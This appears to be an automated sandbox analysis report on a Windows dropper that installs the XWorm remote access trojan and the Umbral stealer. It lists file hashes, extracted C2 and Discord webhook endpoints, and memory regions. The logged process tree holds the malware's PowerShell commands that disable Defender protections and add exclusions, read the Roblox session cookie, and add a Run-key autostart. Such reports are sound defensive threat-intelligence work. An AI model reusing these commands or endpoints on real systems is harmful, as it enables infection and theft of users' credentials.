Analysis

  • max time kernel
    120s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    25-02-2024 06:07

General

  • Target

    IO tootls.exe

  • Size

    209KB

  • MD5

    841d1c344cc00671b25a80e6db3b1e06

  • SHA1

    1952391bfc777b4cd2acc403d895dd7e198aa013

  • SHA256

    932efb570cd8045499675443a910394b5c6bec45511aa2c517a636bd3e385766

  • SHA512

    75af1637e76c307c6241a4ac26859a9260c2198d2aa83e5a6c52e0ec6bb37fac4cecf4f002f05d861356f833fc306869682e3195c0e6ba603e8ebf4b9a98f96e

  • SSDEEP

    6144:v5DmisKDLvohc1Y3o40bbwhpn8+jPmqSQj33zO9Y:xXLDor440y8oPmZW

Malware Config

Extracted

Family

xworm

C2

hai1723rat-60039.portmap.io:60039

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1211176678466916392/99VOwP9dc7iQz2Is-QlZ872KZaiUa4r3sEvXqZ6NmS-fFuTojiUjOg2SjIUWBCIoPNFA

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 62 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\IO tootls.exe
    #cmd
    1⤵
    • Loads dropped DLL
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3016
    • C:\Users\Admin\AppData\Local\Temp\systemload.exe
      "C:\Users\Admin\AppData\Local\Temp\systemload.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2484
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\systemload.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1948
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'systemload.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1764
    • C:\Users\Admin\AppData\Local\Temp\controllloader.exe
      "C:\Users\Admin\AppData\Local\Temp\controllloader.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3012
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\controllloader.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1032
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1432
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1684
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1608
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1280
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2336
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
          PID:1572
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3008
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          3⤵
          • Detects videocard installed
          PID:2368
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\start.cmd" "
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:924
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\'"
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1492
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'updatee';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'updatee' -Value '"C:\Windows\.NET\netloader.exe"' -PropertyType 'String'
      1⤵
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2208
    • C:\Users\Admin\AppData\Local\Temp\IO tootls.exe
      "C:\Users\Admin\AppData\Local\Temp\IO tootls.exe"
      1⤵
      • Suspicious use of SetThreadContext
      • Drops file in Windows directory
      • Suspicious use of WriteProcessMemory
      PID:2380

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\start.cmd

      Filesize

      93B

      MD5

      f960abd9684a879e8eca03b8c864ea96

      SHA1

      fb4b9a9b40af84ae46b70bb40ac3e1f45e4b4ad3

      SHA256

      7389178da21f4e2d4ef73ab199b7beeb97247a6c1afec3f3c48a7f561cbfaf90

      SHA512

      2c6267ab25c364c5b13059ed593bb47dfae586ae7b1411634efa3f45aaf07b4d8f491fe93bfd34482a1250c955f1e8c27e1afa0460672a5e9584ebe007ab2054

    • C:\Users\Admin\AppData\Local\Temp\systemload.exe

      Filesize

      130KB

      MD5

      352a162df9ca5605e1a1910c7a24cb7c

      SHA1

      4b4ed1c740a03c15eb47d875b65c76941debcaf7

      SHA256

      87e9d9a7a197a0cd483f8e73f307af53a7518cabc001257c8235743181b9a7b8

      SHA512

      0c2bae3f66748cc3448eaf60c5079ae3afba6d585e19e54857f7c152a1bd69c3b8e3df7feb413f3eb2df0f2bc01b44be5bcdefd5427af154a221f2b808a2399d

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      771164c8df23de18865ff4fbaa8f620a

      SHA1

      4ddb1bf813701087c02d0e98c96f0d63afdb1024

      SHA256

      ad2ba42c5315af1ab8e53cd3918ce5f56292128cbee9481a23b9ce0c40051ebf

      SHA512

      57cecff4080314e1bf50c0450fae740ef247600d8f34cc06fc37862ce5a39e332359bd5bf2ca91eea852f382eaff4fb94f4713b4a09270b1982aafa39fbe5ce4

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

      Filesize

      7KB

      MD5

      01c1454c04401f31129e71e43e179247

      SHA1

      4239757ea85b9db7b0baca847623f2b3bc3dd54e

      SHA256

      57e4897a5291a4135d889ea9678fc3c981b4d6f4a52f6cf0e1376b4d6e54d11f

      SHA512

      f6bdb28c64989f755ae8787e4773ee96aa9df0c1c04a9ac02b590ff45eb3ead9ced1705f4c3c81455a729b85ae526cc9e5fdf361fbe9167d69e282883c06dca5

    • \Users\Admin\AppData\Local\Temp\controllloader.exe

      Filesize

      286KB

      MD5

      e41a0fa0c1e39af92d22090d4df61a1f

      SHA1

      c971a4089b1ab116c34b5ab0dc54d9977f86e834

      SHA256

      c0966533c2bc8c8b9ee176d774eae0ca1c4d6fe6e8efe5d87d4cac8c04b84372

      SHA512

      d42798fa9115f3c3775798a26ef7c28e4f173bdc2b74884b01a4e7905b17a2da09508766a626652eec3622a15a891b6859f4e9a422eb052a59b3fd3eafe1a7fd

    • memory/1032-81-0x000007FEED220000-0x000007FEEDBBD000-memory.dmp

      Filesize

      9.6MB

    • memory/1032-80-0x0000000002290000-0x0000000002298000-memory.dmp

      Filesize

      32KB

    • memory/1032-79-0x000000001B3D0000-0x000000001B6B2000-memory.dmp

      Filesize

      2.9MB

    • memory/1032-82-0x00000000022B0000-0x0000000002330000-memory.dmp

      Filesize

      512KB

    • memory/1032-86-0x000007FEED220000-0x000007FEEDBBD000-memory.dmp

      Filesize

      9.6MB

    • memory/1032-83-0x00000000022B4000-0x00000000022B7000-memory.dmp

      Filesize

      12KB

    • memory/1032-85-0x00000000022BB000-0x0000000002322000-memory.dmp

      Filesize

      412KB

    • memory/1032-88-0x000007FEED220000-0x000007FEEDBBD000-memory.dmp

      Filesize

      9.6MB

    • memory/1432-110-0x0000000002A20000-0x0000000002AA0000-memory.dmp

      Filesize

      512KB

    • memory/1432-113-0x0000000002A20000-0x0000000002AA0000-memory.dmp

      Filesize

      512KB

    • memory/1432-102-0x000000001B380000-0x000000001B662000-memory.dmp

      Filesize

      2.9MB

    • memory/1432-107-0x000007FEEC880000-0x000007FEED21D000-memory.dmp

      Filesize

      9.6MB

    • memory/1432-112-0x0000000002A20000-0x0000000002AA0000-memory.dmp

      Filesize

      512KB

    • memory/1432-117-0x000007FEEC880000-0x000007FEED21D000-memory.dmp

      Filesize

      9.6MB

    • memory/1432-108-0x0000000002A20000-0x0000000002AA0000-memory.dmp

      Filesize

      512KB

    • memory/1432-109-0x000007FEEC880000-0x000007FEED21D000-memory.dmp

      Filesize

      9.6MB

    • memory/1432-116-0x0000000002A20000-0x0000000002AA0000-memory.dmp

      Filesize

      512KB

    • memory/1492-67-0x00000000026A0000-0x00000000026E0000-memory.dmp

      Filesize

      256KB

    • memory/1492-63-0x00000000730D0000-0x000000007367B000-memory.dmp

      Filesize

      5.7MB

    • memory/1492-68-0x00000000730D0000-0x000000007367B000-memory.dmp

      Filesize

      5.7MB

    • memory/1492-66-0x00000000026A0000-0x00000000026E0000-memory.dmp

      Filesize

      256KB

    • memory/1492-65-0x00000000730D0000-0x000000007367B000-memory.dmp

      Filesize

      5.7MB

    • memory/1492-64-0x00000000026A0000-0x00000000026E0000-memory.dmp

      Filesize

      256KB

    • memory/1608-144-0x00000000024D0000-0x0000000002550000-memory.dmp

      Filesize

      512KB

    • memory/1608-146-0x00000000024D0000-0x0000000002550000-memory.dmp

      Filesize

      512KB

    • memory/1608-145-0x000007FEEC880000-0x000007FEED21D000-memory.dmp

      Filesize

      9.6MB

    • memory/1608-143-0x000007FEEC880000-0x000007FEED21D000-memory.dmp

      Filesize

      9.6MB

    • memory/1684-126-0x000007FEED220000-0x000007FEEDBBD000-memory.dmp

      Filesize

      9.6MB

    • memory/1684-127-0x0000000002920000-0x00000000029A0000-memory.dmp

      Filesize

      512KB

    • memory/1684-125-0x0000000002920000-0x00000000029A0000-memory.dmp

      Filesize

      512KB

    • memory/1684-124-0x000007FEED220000-0x000007FEEDBBD000-memory.dmp

      Filesize

      9.6MB

    • memory/1684-136-0x0000000002920000-0x00000000029A0000-memory.dmp

      Filesize

      512KB

    • memory/1684-137-0x000007FEED220000-0x000007FEEDBBD000-memory.dmp

      Filesize

      9.6MB

    • memory/1764-111-0x00000000029B0000-0x0000000002A30000-memory.dmp

      Filesize

      512KB

    • memory/1764-103-0x0000000002670000-0x0000000002678000-memory.dmp

      Filesize

      32KB

    • memory/1764-115-0x000007FEEC880000-0x000007FEED21D000-memory.dmp

      Filesize

      9.6MB

    • memory/1764-114-0x00000000029B0000-0x0000000002A30000-memory.dmp

      Filesize

      512KB

    • memory/1764-106-0x000007FEEC880000-0x000007FEED21D000-memory.dmp

      Filesize

      9.6MB

    • memory/1764-105-0x00000000029B0000-0x0000000002A30000-memory.dmp

      Filesize

      512KB

    • memory/1764-104-0x000007FEEC880000-0x000007FEED21D000-memory.dmp

      Filesize

      9.6MB

    • memory/1948-87-0x00000000024C0000-0x0000000002540000-memory.dmp

      Filesize

      512KB

    • memory/1948-90-0x00000000024CB000-0x0000000002532000-memory.dmp

      Filesize

      412KB

    • memory/1948-84-0x000007FEED220000-0x000007FEEDBBD000-memory.dmp

      Filesize

      9.6MB

    • memory/1948-89-0x00000000024C4000-0x00000000024C7000-memory.dmp

      Filesize

      12KB

    • memory/2208-55-0x0000000073680000-0x0000000073C2B000-memory.dmp

      Filesize

      5.7MB

    • memory/2208-23-0x0000000073680000-0x0000000073C2B000-memory.dmp

      Filesize

      5.7MB

    • memory/2208-26-0x0000000002690000-0x00000000026D0000-memory.dmp

      Filesize

      256KB

    • memory/2208-24-0x0000000073680000-0x0000000073C2B000-memory.dmp

      Filesize

      5.7MB

    • memory/2208-27-0x0000000002690000-0x00000000026D0000-memory.dmp

      Filesize

      256KB

    • memory/2208-25-0x0000000002690000-0x00000000026D0000-memory.dmp

      Filesize

      256KB

    • memory/2380-16-0x0000000074860000-0x0000000074F4E000-memory.dmp

      Filesize

      6.9MB

    • memory/2380-3-0x0000000004CF0000-0x0000000004D30000-memory.dmp

      Filesize

      256KB

    • memory/2380-1-0x0000000074860000-0x0000000074F4E000-memory.dmp

      Filesize

      6.9MB

    • memory/2380-0-0x0000000001270000-0x00000000012AA000-memory.dmp

      Filesize

      232KB

    • memory/2484-62-0x000007FEF5870000-0x000007FEF625C000-memory.dmp

      Filesize

      9.9MB

    • memory/2484-135-0x000007FEF5870000-0x000007FEF625C000-memory.dmp

      Filesize

      9.9MB

    • memory/2484-54-0x0000000000370000-0x0000000000396000-memory.dmp

      Filesize

      152KB

    • memory/3012-53-0x0000000000E40000-0x0000000000E8E000-memory.dmp

      Filesize

      312KB

    • memory/3012-128-0x000007FEF5870000-0x000007FEF625C000-memory.dmp

      Filesize

      9.9MB

    • memory/3012-147-0x000000001AFA0000-0x000000001B020000-memory.dmp

      Filesize

      512KB

    • memory/3012-69-0x000000001AFA0000-0x000000001B020000-memory.dmp

      Filesize

      512KB

    • memory/3012-61-0x000007FEF5870000-0x000007FEF625C000-memory.dmp

      Filesize

      9.9MB

    • memory/3016-17-0x0000000000400000-0x0000000000438000-memory.dmp

      Filesize

      224KB

    • memory/3016-51-0x00000000747E0000-0x0000000074ECE000-memory.dmp

      Filesize

      6.9MB

    • memory/3016-19-0x0000000000400000-0x0000000000438000-memory.dmp

      Filesize

      224KB

    • memory/3016-14-0x0000000000400000-0x0000000000438000-memory.dmp

      Filesize

      224KB

    • memory/3016-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/3016-10-0x0000000000400000-0x0000000000438000-memory.dmp

      Filesize

      224KB

    • memory/3016-20-0x00000000747E0000-0x0000000074ECE000-memory.dmp

      Filesize

      6.9MB

    • memory/3016-4-0x0000000000400000-0x0000000000438000-memory.dmp

      Filesize

      224KB

    • memory/3016-6-0x0000000000400000-0x0000000000438000-memory.dmp

      Filesize

      224KB

    • memory/3016-8-0x0000000000400000-0x0000000000438000-memory.dmp

      Filesize

      224KB